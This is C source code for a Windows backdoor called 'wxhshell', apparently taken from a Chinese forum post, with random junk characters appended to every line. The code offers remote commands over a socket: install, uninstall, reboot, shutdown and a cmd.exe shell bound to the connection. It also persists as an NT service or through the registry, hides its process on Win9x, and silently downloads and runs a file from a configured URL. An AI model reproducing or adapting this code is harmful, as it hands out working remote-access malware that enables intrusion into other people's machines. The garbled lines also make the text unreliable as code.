    switch(cmd[0]) { n<MH\.!tM  
  Xr-eDUEi  
  // 帮助 *+5AN306  
  case '?': { y 2bZo'Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YDP<  
    break; D+tn<\LF  
  } 6:Ra3!V"v  
  // 安装 Ef69]{E  
  case 'i': { ) b?HK SqI  
    if(Install()) (V*ggii@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zUeS7\(l  
    else Rh iiQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wT;D<rqe`  
    break; !RV}dhI  
    } +PjH2  
  // 卸载 vV8}>  
  case 'r': { 7^=O^!sa  
    if(Uninstall()) |dXmg13( -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~hNSw (-  
    else -[Q%Vv!8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Ad 5hkz  
    break; 3eD#[jkAI;  
    } rk `x81  
  // 显示 wxhshell 所在路径 B+ +:7!  
  case 'p': { .Gw;]s3  
    char svExeFile[MAX_PATH]; 't]=ps  
    strcpy(svExeFile,"\n\r"); ,JX/` 7y  
      strcat(svExeFile,ExeFile); ygh*oVHO  
        send(wsh,svExeFile,strlen(svExeFile),0); M(xd:Fa?  
    break; ;a2TONW   
    } 42mdak}\  
  // 重启 {2A/@$?  
  case 'b': { z>~Hc8*]3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KnKV+:"  
    if(Boot(REBOOT)) 7Q2"]f,$CQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \f .ceh;!  
    else { bmFnsqo  
    closesocket(wsh); >J+hu;I5  
    ExitThread(0); )=#QTiJ  
    } *22}b.)  
    break; >zVj+  
    } QOMh"wC3  
  // 关机 {'T=&`&OF  
  case 'd': { UT%^!@u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7*`cWT_X  
    if(Boot(SHUTDOWN)) ki48]#p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F.zn:yX5  
    else { ;CD@RP{$n  
    closesocket(wsh); qdWsP9}q  
    ExitThread(0); VU9w2/cM  
    } =otJf~  
    break; Nw* >$v  
    } ND77(I$3s  
  // 获取shell se2ay_<F+  
  case 's': { {fmSmD  
    CmdShell(wsh); q,A;d^g  
    closesocket(wsh); blEs!/A`  
    ExitThread(0); {dTtYL$'"  
    break; @|sDb?J  
  } A70x+mjy^T  
  // 退出 =y.?=`"  
  case 'x': { %i:Sf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /z9oPIJ=*  
    CloseIt(wsh); h.(CAm%Y7  
    break; w-LMV>+6|  
    } l.Iov?e1S  
  // 离开 bd_&=VLTC  
  case 'q': { 0j@gC0xu)|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <KlG#7M>  
    closesocket(wsh); eX;C.[&7;8  
    WSACleanup(); .-Yhpw>f  
    exit(1); Ksr.'  
    break; ;rC)*=4#  
        } &z8I@^<  
  } W6:ei.d+NS  
  } 80DcM9^t8  
S2T~7-  
  // 提示信息 !36jtKdM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Hc+F(  
} q$7SJ.pF  
  } }}y~\TB~}  
~`~mnlN  
  return; ))JbROBU,  
} >VIb|YA  
XR3=Y0YDf  
// shell模块句柄 kqdF)Wa am  
int CmdShell(SOCKET sock) kwF4I )6  
{ ;n0VF77>O  
STARTUPINFO si; h2<Y*j  
ZeroMemory(&si,sizeof(si)); JL.noV3q$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =wE1j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '[V}]Z>-  
PROCESS_INFORMATION ProcessInfo; g:V8"'  
char cmdline[]="cmd"; ]rU$0)VN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :!Ea.v  
  return 0; 5'*v-l,[  
} 4'9yMXR  
K)=<hL  
// 自身启动模式 S&N[@G  
int StartFromService(void) VjsQy>5m  
{ U (*k:Fw  
typedef struct kB:6e7D|[  
{ 2?J[D7  
  DWORD ExitStatus; T-S6`^_L  
  DWORD PebBaseAddress; anxZ|DE  
  DWORD AffinityMask;  #4?Z|_j3  
  DWORD BasePriority; Twl>Pn>  
  ULONG UniqueProcessId; !A@Ft}FB  
  ULONG InheritedFromUniqueProcessId; 0@cc XF E  
}   PROCESS_BASIC_INFORMATION; " b?1Yc-  
` 9iB`<  
PROCNTQSIP NtQueryInformationProcess; gK7bP'S8H  
<? h`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yCC.j%@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kIR?r0_<G6  
*%6NuZ  
  HANDLE             hProcess; y{{7)G  
  PROCESS_BASIC_INFORMATION pbi; Tp-<!^o4  
KPW2e2{4@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j6@5"wx  
  if(NULL == hInst ) return 0; 0H;,~ WY  
&"G4yM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |1M+FBT$w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vMT:j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "'i" @CR  
}fzv9$]$  
  if (!NtQueryInformationProcess) return 0; (4ueO~jb $  
m 3k}iIU7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N i\*<:_  
  if(!hProcess) return 0; mV\QZfoF  
YhpNeP{A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6<E4?<O%  
2pu8')'P  
  CloseHandle(hProcess); g3*" ^C2=  
 J^"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BC}+yS \  
if(hProcess==NULL) return 0; X"'c2gaa_  
T8*<  
HMODULE hMod; O:K={#Xj  
char procName[255]; `VJJ"v<L  
unsigned long cbNeeded; R> r@[$z+  
vbXZZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _@-D/g  
pzL !42  
  CloseHandle(hProcess); ctqXzM `  
_hK83s4  
if(strstr(procName,"services")) return 1; // 以服务启动 5 *w a  
#a : W  
  return 0; // 注册表启动 Nhq& Sn2  
} gA`x-`  
7-*QF>w<a  
// 主模块 IYb%f T  
int StartWxhshell(LPSTR lpCmdLine) <|,0%bq)|  
{ 8 oK;Tzh  
  SOCKET wsl; +vR$%  
BOOL val=TRUE; aVI%FycYo  
  int port=0; eJh4hp;x  
  struct sockaddr_in door; _4H}OGZI  
}\p>h  
  if(wscfg.ws_autoins) Install(); \Pv_5LAo  
^7cZ9/3  
port=atoi(lpCmdLine); wTT_jyH)  
g`(' k5=  
if(port<=0) port=wscfg.ws_port; o'9K8q\1  
aN\ps g  
  WSADATA data; yW3X<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X[F<sxw  
/ /ty] j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;a]Lxx;-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "!\ON)l*  
  door.sin_family = AF_INET; SHM ?32'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xUp[)B6?:  
  door.sin_port = htons(port); D'dE!CAUs  
W6=j^nv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QEUr+7[  
closesocket(wsl); A(!nT=0o  
return 1; "Zu hN(-`  
} {|{}]B  
y(I_ 6+B^  
  if(listen(wsl,2) == INVALID_SOCKET) { ]{` 8C  
closesocket(wsl); M!KHBr  
return 1; 8UA bTqB-  
} ulcm  
  Wxhshell(wsl); X<6Ro es2  
  WSACleanup(); co <ATx  
<ZF,3~v?  
return 0; F0 cde  
%TO=]>q  
} %D::$,;<<  
m5m'ByX(*  
// 以NT服务方式启动 Y5J}*`[Mr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,d^ze=  
{ &3jq'@6  
DWORD   status = 0; [gZz'q&[)  
  DWORD   specificError = 0xfffffff; hWzjn5w3  
. kv/db  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $}{u6*u.,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KK}?x6wV0,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7N@4c   
  serviceStatus.dwWin32ExitCode     = 0; ~j1.;WId[  
  serviceStatus.dwServiceSpecificExitCode = 0; sn|q EH  
  serviceStatus.dwCheckPoint       = 0; $Vu %4kq  
  serviceStatus.dwWaitHint       = 0; ]e*Zx;6oi  
81O\BO.T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RC[b+J,q  
  if (hServiceStatusHandle==0) return; OHz>B!`  
/zB;1%m-  
status = GetLastError(); H(eGqVAq,  
  if (status!=NO_ERROR) tb%u<jY  
{ uxbDRlOS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |*~=w J_  
    serviceStatus.dwCheckPoint       = 0; ! OM P]  
    serviceStatus.dwWaitHint       = 0; .d\<}\zZ7J  
    serviceStatus.dwWin32ExitCode     = status; GrwoV~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ul{u^ j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9t`Z_HwdCb  
    return; (IAc*V~  
  } 0SoU\/kUi  
5<%]6cx}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -jBk  
  serviceStatus.dwCheckPoint       = 0; V}leEf2'  
  serviceStatus.dwWaitHint       = 0; KNR_upO8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .zm'E<  
} Dy>U=(S  
8,E#vQ55}(  
// 处理NT服务事件,比如:启动、停止 |]qwD,eiH,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1[QH68  
{ $VX<UK$|s  
switch(fdwControl) TEgmE9^`)7  
{ ;%Z%]nIS  
case SERVICE_CONTROL_STOP: Tum9Xa  
  serviceStatus.dwWin32ExitCode = 0; \u|8MEB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i-Le&  
  serviceStatus.dwCheckPoint   = 0; 0(owFNUBs  
  serviceStatus.dwWaitHint     = 0; 2r+@s g  
  { 6Y#-5oE u/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vrz6<c-'B  
  } S-FoyID\H  
  return; >[4;K&$B  
case SERVICE_CONTROL_PAUSE: myp}DI(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y,v8eOo45S  
  break; J6*Zy[)%&S  
case SERVICE_CONTROL_CONTINUE: HvITw%`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N XAP=y3  
  break; .3(=U Q  
case SERVICE_CONTROL_INTERROGATE: >E;&SX  
  break; S#M<d~rK  
}; (7P{k<5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a'/yN{?p  
} kNX(@f  
=4RBHe8`  
// 标准应用程序主函数 F",S}cK*MH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <h_lc}o/  
{ ;pU#3e+P8  
-j%!p^2j9  
// 获取操作系统版本 X#s:C=q1  
OsIsNt=GetOsVer(); R/H ?/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `r; .  
"s']@Qv  
  // 从命令行安装 u8Ul +u  
  if(strpbrk(lpCmdLine,"iI")) Install(); |?c v5l7E  
|TOz{  
  // 下载执行文件 $qN+BKd]3  
if(wscfg.ws_downexe) { cJ 5":^O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i!/V wGg  
  WinExec(wscfg.ws_filenam,SW_HIDE); C[j'0@~V:B  
}  T)o)%Yv  
`jR= X  
if(!OsIsNt) { URW#nm?  
// 如果时win9x,隐藏进程并且设置为注册表启动 M5C}*c9  
HideProc(); z3IQPl^  
StartWxhshell(lpCmdLine); q#v&&]N=  
} xUYUOyV  
else Sr_]R<?  
  if(StartFromService()) dQ*3s>B[  
  // 以服务方式启动 C\7qAR\  
  StartServiceCtrlDispatcher(DispatchTable); B\2<r5|QG  
else $'}:nwq6x  
  // 普通方式启动 M9MfO*  
  StartWxhshell(lpCmdLine); u</21fz'  
~ifo7,  
return 0; Rv=(D^F,  
}
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只看该作者 1 发表于: 2006-10-10
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